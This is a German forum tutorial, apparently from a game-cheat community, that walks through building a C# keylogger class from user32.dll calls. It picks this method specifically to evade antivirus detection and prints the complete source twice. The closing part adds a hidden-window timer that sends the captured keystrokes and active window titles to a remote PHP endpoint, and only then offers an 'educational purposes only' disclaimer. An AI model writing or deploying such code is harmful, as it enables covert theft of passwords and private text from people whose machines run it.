Hmm, mich haben Viele danach gefragt, dank Krankheit und privatem Stress hatte ich aber zu wenig Zeit ein kleines How-To zu schreiben.
Eines vorweg - es gibt mehrere Arten, die Tastenanschlaege zu Loggen, die wohl gaengigste Art ist das sogenannte Hooking (Google: Hooking / Stubbing), einziges Problem daran ist, dass viele Virenscanner bei Sowas anschlagen, deswegen werden wir den etwas unkonventionellen Weg nehmen - WinApi.
Eigentlich wurde das .Net Framework entwickelt, um genau diesen Apis aus dem Weg zu gehen, der Widerspruch liegt darin, dass man in C# / VB.Net dennoch die Moeglichkeit hat, mittels einem DLL-Import genau diese APIs zu benutzen.
Was werden wir in diesem Tutorial tun?
Wir werden eine Klasse - KeyLog schreiben, die in jedem Projekt beliebig benutzt werden kann, wir schreiben also kein ganzes Programm, weil ich euch das Essen nicht gleich auf dem Teller serviere. Was ihr damit dann anstellt, duerft ihr fuer euch behalten, oder es den Anderen zeigen.
Fangen wir also an.
Der Anfang
Wir importieren als aller erstes unsere Namespaces
Code:
using System;
using System.Runtime.InteropServices;
using System.Text;
System und System.Text solltet ihr kennen, ansonsten gar nicht erst weitermachen..! ;)
System.Runtime.InteropServices ist der fuer uns sehr interessante Namespace, er ermoeglicht das Benutzen von Funktionen aus DLLs, die fuer uns interessante DLL ist "user32.dll".
Diese DLL enthaelt ziemlich sinnvolle Funktionen fuer uns, fuer uns sind genau 3 Funktionen von Bedeutung:
- GetAsyncKeyState (Key-Capturing)
- GetForegroundWindow (Das momentan aktive Fenster)
- GetWindowText (Die Caption des Fensters)
Die Klasse
Nach dem Importieren der Namespaces kommen wir nun zu Unserer Klasse, nach der Definition des Klassennamens definieren wir nun eine globale Variablen und importieren die o.g. 3 Funktionen aus der user32.dll:
Code:
[DllImport("user32.dll")]
private static extern short GetAsyncKeyState(System.Int32 vKey);
[DllImport("user32.dll")]
static extern int GetForegroundWindow();
[DllImport("user32.dll")]
static extern int GetWindowText(int hWnd, StringBuilder text, int count);
private static string _Log = String.Empty;
Der String _Log ist unser Herzstück des Keyloggers, in ihm wird der eingegebene Text bis zum Druck auf Enter gespeichert. Im Konstruktor unserer Klasse initialisieren wir diesen String vor:
Die Logging-Funktion
Wir schreiben nun unsere Hauptfunktion: Log, mit dem Rueckgabewert "string". Dies sieht wie folgt aus:
Code:
public string Log()
{
return String.Empty;
}
Wir haben nun eine leere Funktion, welche beim Aufruf einen leeren String zurueckliefert. Doch wie kommen wir nun an die Keys?
Genau dafuer brauchen wir die Funktion "GetAsyncKeyState".
Als erstes werden wir in der Funktion mit einer foreach Schleife und einer if-Abfrage anfangen, welche so aussieht:
Code:
public string Log()
{
foreach(Int32 h in Enum.GetValues(typeof(System.Windows.Forms.Keys))) {
if(GetAsyncKeyState(h) == -32767) {
string keybuffer = Enum.GetName(typeof(System.Windows.Forms.Keys),h).Trim();
}
}
return String.Empty;
}
Die Foreachschleife prueft alle Keys, die es auf einer Tastatur gibt, und gibt den KeyCode als Integer Zurueck. Die if-Abfrage wiederrum prueft, ob dieser Integerwert mit einem der vorhandenen Werte tatsaechlich existiert, wenn dem so ist, wurde ein Key tatsaechlich gedrueckt.
Wir kreieren uns nun ein Zwischenvariable "keybuffer", die den Integerwert wieder in einen String fuer uns umwandelt, damit wir wissen, wie die Taste heißt, die gedrueckt wurde.
Nun werden wir die einzelnen Tasten Pruefen, dazu nutzen wir eine switch-case Anweisung, um uns das ganze if und else zu ersparen, nun die ganze Methode Log:
Code:
public string Log()
{
foreach(Int32 h in Enum.GetValues(typeof(System.Windows.Forms.Keys))) {
if(GetAsyncKeyState(h) == -32767) {
string keybuffer = Enum.GetName(typeof(System.Windows.Forms.Keys),h).Trim();
switch (keybuffer) {
case "A":
_Log += "a";
break;
case "B":
_Log += "b";
break;
case "C":
_Log += "c";
break;
case "D":
_Log += "d";
break;
case "E":
_Log += "e";
break;
case "F":
_Log += "f";
break;
case "G":
_Log += "g";
break;
case "H":
_Log += "h";
break;
case "I":
_Log += "i";
break;
case "J":
_Log += "j";
break;
case "K":
_Log += "k";
break;
case "L":
_Log += "l";
break;
case "M":
_Log += "m";
break;
case "N":
_Log += "n";
break;
case "O":
_Log += "o";
break;
case "P":
_Log += "p";
break;
case "Q":
_Log += "q";
break;
case "R":
_Log += "r";
break;
case "S":
_Log += "s";
break;
case "T":
_Log += "t";
break;
case "U":
_Log += "u";
break;
case "V":
_Log += "v";
break;
case "W":
_Log += "w";
break;
case "X":
_Log += "x";
break;
case "Y":
_Log += "y";
break;
case "Z":
_Log += "z";
break;
case "Back":
try {
if (_Log.Length >= 1) {
_Log = _Log.Remove(_Log.Length-1, 1);
}
} catch (Exception) {}
break;
case "Space":
_Log += " ";
break;
case "Oemcomma":
_Log += ",";
break;
case "OemPeriod":
_Log += ".";
break;
case "OemMinus":
_Log += "-";
break;
case "OemPlus":
_Log += "+";
break;
case "Comma":
_Log += ",";
break;
case "D1":
_Log += "!";
break;
case "D2":
_Log += "''";
break;
case "D3":
_Log += "§";
break;
case "D4":
_Log += "$";
break;
case "D5":
_Log += "%";
break;
case "D6":
_Log += "&";
break;
case "D7":
_Log += "/";
break;
case "D8":
_Log += "(";
break;
case "D9":
_Log += ")";
break;
case "D0":
_Log += "=";
break;
case "Oem4":
_Log += "?";
break;
case "Enter":
if (_Log != String.Empty) {
string tmp = GetActiveWindow() + _Log + System.Environment.NewLine;
_Log = String.Empty;
return tmp;
}
break;
default:
break;
}
}
}
return String.Empty;
}
Nun sehen wir, beim Enterdruck, dass eine neue Funktion auftaucht, naemlich GetActiveWindow(), wir wollen ja nicht nur wissen, Was geschrieben wurde, sondern auch Wo es geschrieben wurde. Dazu brauchen wir diese Funktion, sie hat den Rueckgabetyp "string" und wird uns den Namen des gerade aktiven Fensters zurueckliefern.
Code:
private string GetActiveWindow()
{
const int nChars = 256;
int handle = 0;
StringBuilder Buff = new StringBuilder(nChars);
handle = GetForegroundWindow();
if (GetWindowText(handle, Buff, nChars) > 0 ) {
return "[" + Buff.ToString() + "] ";
}
return "[???] "; // Worst case, doesn't happen often at all..
}
Da wir diese Funktion nicht extern brauchen, haben wir sie als private Deklariert, um moegliche Fehler des Anwenders zu Vermeiden.
Wir haben nun unsere Klasse KeyLog, im Folgenden nochmal komplett dargestellt.
Code:
/*
* Benutzer: Nils
* Datum: 01.02.2008
* Zeit: 10:30
*/
using System;
using System.Runtime.InteropServices;
using System.Text;
namespace K_KeyLog
{
public class KeyLog
{
[DllImport("user32.dll")]
private static extern short GetAsyncKeyState(System.Int32 vKey);
[DllImport("user32.dll")]
static extern int GetForegroundWindow();
[DllImport("user32.dll")]
static extern int GetWindowText(int hWnd, StringBuilder text, int count);
private static string _Log = String.Empty;
public KeyLog()
{
_Log = String.Empty;
}
public string Log()
{
foreach(Int32 h in Enum.GetValues(typeof(System.Windows.Forms.Keys))) {
if(GetAsyncKeyState(h) == -32767) {
string keybuffer = Enum.GetName(typeof(System.Windows.Forms.Keys),h).Trim();
switch (keybuffer) {
case "A":
_Log += "a";
break;
case "B":
_Log += "b";
break;
case "C":
_Log += "c";
break;
case "D":
_Log += "d";
break;
case "E":
_Log += "e";
break;
case "F":
_Log += "f";
break;
case "G":
_Log += "g";
break;
case "H":
_Log += "h";
break;
case "I":
_Log += "i";
break;
case "J":
_Log += "j";
break;
case "K":
_Log += "k";
break;
case "L":
_Log += "l";
break;
case "M":
_Log += "m";
break;
case "N":
_Log += "n";
break;
case "O":
_Log += "o";
break;
case "P":
_Log += "p";
break;
case "Q":
_Log += "q";
break;
case "R":
_Log += "r";
break;
case "S":
_Log += "s";
break;
case "T":
_Log += "t";
break;
case "U":
_Log += "u";
break;
case "V":
_Log += "v";
break;
case "W":
_Log += "w";
break;
case "X":
_Log += "x";
break;
case "Y":
_Log += "y";
break;
case "Z":
_Log += "z";
break;
case "Back":
try {
if (_Log.Length >= 1) {
_Log = _Log.Remove(_Log.Length-1, 1);
}
} catch (Exception) {}
break;
case "Space":
_Log += " ";
break;
case "Oemcomma":
_Log += ",";
break;
case "OemPeriod":
_Log += ".";
break;
case "OemMinus":
_Log += "-";
break;
case "OemPlus":
_Log += "+";
break;
case "Comma":
_Log += ",";
break;
case "D1":
_Log += "!";
break;
case "D2":
_Log += "''";
break;
case "D3":
_Log += "§";
break;
case "D4":
_Log += "$";
break;
case "D5":
_Log += "%";
break;
case "D6":
_Log += "&";
break;
case "D7":
_Log += "/";
break;
case "D8":
_Log += "(";
break;
case "D9":
_Log += ")";
break;
case "D0":
_Log += "=";
break;
case "Oem4":
_Log += "?";
break;
case "Enter":
if (_Log != String.Empty) {
string tmp = GetActiveWindow() + _Log + System.Environment.NewLine;
_Log = String.Empty;
return tmp;
}
break;
default:
break;
}
}
}
return String.Empty;
}
private string GetActiveWindow()
{
const int nChars = 256;
int handle = 0;
StringBuilder Buff = new StringBuilder(nChars);
handle = GetForegroundWindow();
if (GetWindowText(handle, Buff, nChars) > 0 ) {
return "[" + Buff.ToString() + "] ";
}
return "[???] "; // Worst case, doesn't happen often at all..
}
}
}
Ende
Was nun damit tun? Nunja, was ihr damit tut, ist euch ueberlassen, als kleinen Tip wuerde ich vorschlagen, dass ihr mal an das Prinzip eines Wordmixbots denkt, um Antworten zu speichern, na, macht's Klick?
Ich persoenlich habe eine Windows-Applikation gebastelt, die die Klasse KeyLog instanziiert, die Form versteckt, beim FormCreate einen Timer auf true setzt (Interval = 1 ms), und im TickEvent etwas in dieser Art besitzt:
Code:
void Timer1Tick(object sender, EventArgs e)
{
try {
string buff = KL.Log();
if (buff != String.Empty) {
WC.DownloadString("http://www.meineurl.com/keylogger/add.php?datumzeit=[" + DateTime.Now + "]&fensterundtext=" + buff); // WC = WebClient - "using System.Net;"
}
} catch (Exception) {}
}
Sodele - viel Spaß.
Ich moechte definitiv keine PNs mit "Wie kann ich Jemanden h4x0rn?" - was ihr daraus macht, ist Euch Ueberlassen.
Ich hoffe, ich konnte Euch helfen. :-)
MfG
/e:
Viele fragen sich bestimmt, warum ich die Keys einzeln Catche, simple Frage, simple Antwort:
Wenn ich generell alle Keys loggen wuerde, dann wuerde jedes Tab, jeder Druck auf Shift, jeder Linkspfeil, Rechtspfeil und Bla drinnenstehen, das waere sicherlich nicht unbedingt schoen, und ist ziemlich unlesbar. :)
-> In K-Cheat hat Tokyo das Ding nach VB.Net portiert:
http://k-cheat.de/showthread.php?tid=9823
WICHTIG
Dieser Code ist natuerlich nur zu Bildungszwecken, man kann damit natuerlich auch Hotkeys erstellen.